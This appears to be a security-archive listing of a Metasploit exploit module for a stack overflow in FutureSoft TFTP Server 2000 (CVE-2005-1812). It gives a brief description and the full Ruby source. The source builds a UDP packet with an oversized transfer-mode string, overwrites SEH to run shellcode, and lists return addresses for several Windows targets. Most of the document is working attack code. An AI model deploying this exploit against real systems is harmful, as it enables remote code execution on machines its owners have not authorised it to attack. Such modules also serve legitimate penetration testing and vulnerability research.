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FutureSoft TFTP Server 2000 Transfer-Mode Overflow

FutureSoft TFTP Server 2000 Transfer-Mode Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in the FutureSoft TFTP Server 2000 product. By sending an overly long transfer-mode string, we were able to overwrite both the SEH and the saved EIP. A subsequent write-exception that will occur allows the transferring of execution to our shellcode via the overwritten SEH. This Metasploit module has been tested against Windows 2000 Professional and for some reason does not seem to work against Windows 2000 Server (could not trigger the overflow at all).

tags | exploit, overflow, shellcode
systems | windows, 2k
advisories | CVE-2005-1812
MD5 | f9f7d6925a7ab16a58f9f0f0a9a894f5

FutureSoft TFTP Server 2000 Transfer-Mode Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
'Description' => %q{
This module exploits a stack overflow in the FutureSoft TFTP Server
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception
that will occur allows the transferring of execution to our shellcode
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against
Windows 2000 Server (could not trigger the overflow at all).
},
'Author' => 'MC',
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-1812'],
['OSVDB', '16954'],
['BID', '13821'],
['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},

'Platform' => 'win',

'Targets' =>
[
['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4} ], # ws2help.dll
['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799} ], # ws2help.dll
['Windows 2003 Server English', { 'Ret' => 0x7ffc0638} ], # PEB return

],

'Privileged' => true,

'DisclosureDate' => 'May 31 2005'))

register_options(
[
Opt::RPORT(69)
], self.class)

end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
sploit += rand_text_english(167, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[157, seh.length] = seh
sploit += "\x00"

udp_sock.put(sploit)

handler
disconnect_udp
end

end
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